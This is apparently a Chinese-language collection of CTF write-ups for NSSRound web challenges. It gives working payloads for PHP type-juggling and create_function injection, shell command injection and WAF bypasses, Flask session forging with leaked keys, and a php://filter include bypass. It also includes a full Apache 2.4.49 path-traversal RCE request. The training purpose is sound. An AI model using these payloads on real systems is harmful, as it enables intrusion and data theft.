NSSRound(持续更新)
了解过PHP特性吗
这个题相当于是php特性大杂烩
先看源代码
<?php
error_reporting(0);
highlight_file(__FILE__);
include("rce.php");
$checker_1 = FALSE;
$checker_2 = FALSE;
$checker_3 = FALSE;
$checker_4 = FALSE;
$num = $_GET['num'];
if (preg_match("/[0-9]/", $num)) {
die("no!!");
}
if (intval($num)) {
$checker_1 = TRUE;
}
if (isset($_POST['ctype']) && isset($_POST['is_num'])) {
$ctype = strrev($_POST['ctype']);
$is_num = strrev($_POST['is_num']);
if (ctype_alpha($ctype) && is_numeric($is_num) && md5($ctype) == md5($is_num)) {
$checker_2 = TRUE;
}
}
$_114 = $_GET['114'];
$_514 = $_POST['514'];
if (isset($_114) && intval($_114) > 114514 && strlen($_114) <= 3) {
if (!is_numeric($_514) && $_514 > 9999999) {
$checker_3 = TRUE;
}
}
$arr4y = $_POST['arr4y'];
if (is_array($arr4y)) {
for ($i = 0; $i < count($arr4y); $i++) {
if ($arr4y[$i] === "NSS") {
die("no!");
}
$arr4y[$i] = intval($arr4y[$i]);
}
if (array_search("NSS", $arr4y) === 0) {
$checker_4 = TRUE;
}
}
if ($checker_1 && $checker_2 && $checker_3 && $checker_4) {
echo $rce;
}
首先看第一部分
这个地方说明num输入的值不能为数字,但是第二部分说明num必须为数字,这个地方需要用数组绕过,payload
num[]=1
第二部分
strrev()是将输入的值进行反转,相当于反转字符串
ctype_alpha()表示必须输入字母
is_numeric()表示必须输入数字
然后两个值的md5还要相等
首先,MD5的弱比较用240610708和QNKCDZO绕过,将这两个再反转就行
payload
ctype=OZDCKNQ
is_num=807016042
第三部分
这个地方表示$_114必须大于114514,但是长度又要小于3位,科学计数法绕过就行
$_514不能为纯数字,并且要大于9999999,这个地方随便输入一个比9999999大然后加个字母就行
payload
114=2e8
514=9999999999a
第四部分
这个地方首先需要输入一个数组,并且里面不能包含NSS,但是后面又必须要NSS,这时看array_search()函数
array_search()相当于把里面的东西进行弱比较,在array_search("NSS", $arr4y) 中,相当于(NSS==$arr4y),这个地方就用数组绕过弱比较
payload
arr4y[]=0
最终结果
最后一部分
主要看create_function()函数
create_function()函数就相当于eval()函数,这个函数会在内部执行eval()指令
create_function()相当于
function answer($a,$b){
........
}
但是这个地方只有$b是进行代码执行的,$a只用于声明函数变量
payload
shell=&nss=}system('ls');//
这个地方相当于先闭合前{,然后注释后}
basic_check
解题
进来只有这些东西,通过dirsearch扫目录,抓包等等操作都无法找到切入点
这个题需要用到nikto工具
基本使用
nikto -h url
注意这一条
说明可以用PUT方法进行文件上传
上传成功,然后连接一句话木马
nikto工具介绍
Nikto是一款开源的(GPL)网页服务器扫描器,它可以对网页服务器进行全面的多种扫描,包含超过3300种有潜在危险的文件/CGIs;超过625种服务器版本;超过230种特定服务器问题。扫描项和插件可以自动更新(如果需要)。但其软件本身并不经常更新,最新和最危险的可能会检测不到。
ec_RCE
这个题和以往做的rce题不太一样,这个题虽然没什么过滤,但这个题的关键却在管道符
让action=||,data='tac /flag'即可
ez_factors
进来有一个tools
进去之后进入这个页面
factor作用
factor用分解因数,是linux的一个命令,这个地方可以用管道符进行命令执行
解题方法
根据题目提示说flag在/flag,那么直接用;cat /flag试试
被搬了,应该是不能用/,将这个用url编码就行
输出一堆数字,这个地方应该是设置了只能输出数字,可以用od绕过
od命令执行最佳命令
od -A n -t d1 %2fflag
此时就只有输出十进制,然后转文本就行
ez_rce
dirsearch抓包后没有任何有用的信息
通过nikto搜索后发现题目可以用TRACE进行请求
TRACE请求可以构造xss漏洞
发送后会下载一个文件,点开就有xss
但是这个地方并没有flag
然后就是看服务器版本
Apache/2.4.49 (Unix)
这个版本是存在漏洞的
Apache/2.4.49任意文件读取
以get请求访问/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd就行
如果有回显,说明存在这个漏洞,在这个题目中并没有这个漏洞
Apache/2.4.49命令执行
访问抓包
POC
POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
Host: node4.anna.nssctf.cn:28289
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: Hm_lvt_648a44a949074de73151ffaa0a832aec=1727336731,1727337372,1727419423,1728493198
Upgrade-Insecure-Requests: 1
X-Forwarded-For: 123.123.123.124
X-Originating-IP: 123.123.123.124
X-Remote-IP: 123.123.123.124
X-Remote-Addr: 123.123.123.124
If-Modified-Since: Mon, 11 Jun 2007 18:53:14 GMT
If-None-Match: "2d-432a5e4a73a80"
Priority: u=0, i
Content-Length: 7
Content-Type: application/x-www-form-urlencoded
echo;ls
flaskjwt
这个题目是flask的session伪造,从题目就可以看出来
flask_session介绍
首先需要一个密钥
通过这个密钥得到session
在Flask中,Session是一种服务器端的状态管理机制,它允许开发者在不同的请求之间存储和访问用户数据。Session的数据是存储在服务器上的,而用户的浏览器会保存一个Session ID的Cookie,用于识别和维持会话状态。
做题
先随便注册一个账号并登录
就可以在存储地方找到session
session=.eJwlzjEOwzAIAMC_eO5gjDE4n4nAgNo1aaaqf2-kjrfdp-x5xPks2_u44lH2l5et0FiSQ0I5VCpYpFUQHejUXCm93_ZlbKiJ2ueSYMhma_VBPJmIbUit5oCoMFrN0NqpggKyNGwDOAdNJ-mYa9bVOxoRiBh5uSPXGcd_08r3B-xWLsw.Z9muYg.KIb-xqmD71K9K8qHSagTuQz9RQo
然后还缺一个密钥
在忘记密码处就可以找到这个密钥
th3f1askisfunny
现在两个都有了就可以使用flask_session_cookie_manager3.py进行加解密
python flask_session_cookie_manager3.py decode -s "th3f1askisfunny" -c ".eJwlzjEOwzAIAMC_eO5gjDE4n4nAgNo1aaaqf2-kjrfdp-x5xPks2_u44lH2l5et0FiSQ0I5VCpYpFUQHejUXCm93_ZlbKiJ2ueSYMhma_VBPJmIbUit5oCoMFrN0NqpggKyNGwDOAdNJ-mYa9bVOxoRiBh5uSPXGcd_08r3B-xWLsw.Z9mpmA.frwhmrq9b6mOojZUtdE67VI0K9s"
输出结果为
{'_fresh': True, '_id': '56c8f68ea7ea801befb018a63d52da5fd4b01dcb7b3af3a49c8e71f2bcc465797557b6800bd133a1620fea04501a1378232617f659d5843fc90c443b55188b5d', '_user_id': '2'}
将这个2改为1就是admin
python flask_session_cookie_manager3.py encode -s "th3f1askisfunny" -t "{'_fresh': True, '_id': '56c8f68ea7ea801befb018a63d52da5fd4b01dcb7b3af3a49c8e71f2bcc465797557b6800bd133a1620fea04501a1378232617f659d5843fc90c443b55188b5d', '_user_id': '1'}"
生成结果为
.eJwlzjEOwzAIAMC_eO5gjDE4n4nAgNo1aaaqf2-kjrfdp-x5xPks2_u44lH2l5et0FiSQ0I5VCpYpFUQHejUXCm93_ZlbKiJ2ueSYMhma_VBPJmIbUit5oCoMFrN0NqpggKyNGwDOAdNJ-mYa9bVOxoRiBh5uSPXGcd_A-X7A-xTLss.Z9mr8g.LQkxfVxVj5tSbhwjIZAxaZi4TyM
将这个放到session里面就可以得到flag
flask_session_cookie_manager3.py基本使用
编码
python flask_session_cookie_manager3.py encode -s 'your_secret_key' -t '{"username": "admin", "number": "123456"}'
解码
python flask_session_cookie_manager3.py decode -c 'your_encoded_cookie' -s 'your_secret_key'
flaskjwt(hard)
进来只有一个登录页面
这里有注册的地方以及忘记密码的地方
先随便注册一个账户,然后登录进去
然后getflag时需要admin权限
这个题目是flask的session,在cookie里面找答案
解密这个需要密钥,在这个页面查看源码
发现提示信息
这里告诉了登录时间,可以试试将cookie清空
然后进入调试页面
密钥就藏在此处
然后使用flask_session_cookie_manager3.py先进行解码
python flask_session_cookie_manager3.py decode -s "hardgam3_C0u1d_u_f1ndM3????" -c ".eJwlzjGOAjEMQNGrRKkp7NhOPDkAVHTbIydxtFPQBKgQd2dWW75f_Xe8zeWP31if6-WneNtHrFFy15nVrbgpYPPZANUyDUnDZA4-PHorjWyS8dbVC87UeucsZSsipWUFaAOJDHOC6QYsgIZUNFHKWGaWbYgyzb5BZ6YmgqpNRjxGXg9f_zfp4HO_e6zvGP7Cee2nkDBcbYUESQLkylSFw-X6Ez-fL1-9Oi4.Z90Kqg.UAqII5pfq724s9QPiXh1pKCYWgE"
然后将userid改为1,并进行加密
>python flask_session_cookie_manager3.py encode -s "hardgam3_C0u1d_u_f1ndM3????" -t "{'_fresh': True, '_id': '56c8f68ea7ea801befb018a63d52da5fd4b01dcb7b3af3a49c8e71f2bcc465797557b6800bd133a1620fea04501a1378232617f659d5843fc90c443b55188b5d', '_user_id': '1', 'time': 'datetime.datetime(2025, 3, 21, 6, 43, 54, tzinfo=datetime.timezone.utc)'}"
将加密后的结果替换原来的cookie
MyPage
进入这个题目后,一切为空
但是传了一个?file=,估计是文件包含,而且这个题存在require_once
需要绕过,当题目没有告知源码时,也需要进行判断require_once,多个方向
/proc/self/cwd代表当前目录,此题中var被ban了,不能用绝对路径
payload
php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/cwd/index.php
base64解密后
<?php
error_reporting(0);
include 'flag.php';
if(!isset($_GET['file'])) {
header('Location:/index.php?file=');
} else {
$file = $_GET['file'];
if (!preg_match('/\.\.|data|input|glob|global|var|dict|gopher|file|http|phar|localhost|\?|\*|\~|zip|7z|compress/is', $file)) {
include_once $file;
} else {
die('error.');
}
}
然后包含flag就行
php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/cwd/flag.php
PYRCE
进入靶场只有一个/source文件
进入之后发现是一个python脚本
简单解析
from flask import Flask, request, make_response
import uuid
import os
# 假设 flag 存储在 /flag 文件中
app = Flask(__name__)
# WAF(Web 应用防火墙)函数,用于过滤危险的输入
def waf(rce):
# 黑名单字符,包含数字、特殊字符和一些危险字符
black_list = '01233456789un/|{}*!;@#\n`~\'\"><=+-_ '
# 检查输入中是否包含黑名单中的字符
for black in black_list:
if black in rce:
return False # 如果包含黑名单字符,返回 False
return True # 否则返回 True
# 根路由,处理 GET 请求
@app.route('/', methods=['GET'])
def index():
# 检查请求参数中是否包含 "Ňśś"
if request.args.get("Ňśś"):
nss = request.args.get("Ňśś")
# 使用 WAF 检查输入是否合法
if waf(nss):
# 如果输入合法,执行系统命令
os.popen(nss)
else:
# 如果输入不合法,返回 "waf"
return "waf"
# 默认返回 "/source" 路径
return "/source"
# /source 路由,返回应用程序的源代码
@app.route('/source', methods=['GET'])
def source():
# 读取并返回 app.py 文件的内容
src = open("app.py", 'rb').read()
return src
# 启动 Flask 应用程序
if __name__ == '__main__':
app.run(host='0.0.0.0', debug=False, port=8080)
关键代码
过滤了这些
这里是一个执行命令
但是这个地方并没有.read()函数,因此无法回显结果,可以试试cp命令或者tar命令
这里以cp命令为例
题目告知flag在/flag内
因此只需要
cp /flag app.py
然后访问/source即可
但是这个地方/被过滤了,空格也被过滤了
空格可以用%09绕过,这个地方%09是一个整体,因此前面对于数字的绕过对这个地方并没有效果
在linux中,/可以用$(cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&pwd)来绕过
payload
Ňśś=cp%09$(cd%09..&&cd%09..&&cd%09..&&cd%09..&&pwd)flag%09app.py
这里需要url编码
Ňśś=cp%09%24(cd%09%2e%2e%26%26cd%09%2e%2e%26%26cd%09%2e%2e%26%26cd%09%2e%2e%26%26pwd)flag%09app%2epy
然后访问source即可得到flag